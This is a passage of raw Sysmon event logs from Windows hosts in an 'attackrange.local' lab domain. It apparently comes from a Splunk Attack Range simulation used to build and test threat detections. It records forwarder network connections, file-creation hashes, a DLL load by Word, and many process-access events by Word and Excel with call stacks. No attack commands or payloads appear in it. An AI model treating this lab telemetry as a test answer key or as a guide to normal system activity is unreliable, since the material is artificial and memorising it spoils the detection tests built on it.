Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Excel\My%20documents%20for%20Chris309100373330130784\My%20documents%20for%20Chris.xlsb.lnk2021-09-10 15:08:56.328 354300x800000000000000056789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:55.416{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63182-false10.0.1.12-8000- 23542300x800000000000000056788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.874{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B3B45E545776C727801CD010140EDA1,SHA256=AC79307A5038CC0CC9A80509876E894828F9972301F57E5F27B3782B1B57DF89,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018255Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:57.835{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4934B7F6BD2409D4508B4367E23740D9,SHA256=BA0272EB258284E0D659656E35BA1556181B3C94650E8814D371062BDA749D03,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018254Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:55.578{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50414-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000056787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.174{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{34397609-369C-493A-9B70-0EC97F91C8A4}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.113{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msxml6.dll6.30.14393.4530MSXML 6.0Microsoft XML Core ServicesMicrosoft CorporationMSXML6.dllMD5=10A0259030F41545ECAFB6A595F7C457,SHA256=CF160C3ADCE5AA2357697A02C6FC38071CBE1818B036F1C67F746868EB7F814D,IMPHASH=A74F148CA887740D0E045C70ACC762EBtrueMicrosoft WindowsValid 10341000x800000000000000056785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.096{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.074{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.058{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}64446812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000056774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK2021-09-10 15:08:57.012 23542300x800000000000000056773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.027{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\Templates.LNKMD5=E5E14B1AF58C3191CF77F3BA888B5577,SHA256=AC839B615B4FE3577E8C8AD08B01AFE7D7387032C18581A01F1CCB59BF263B40,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000056772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 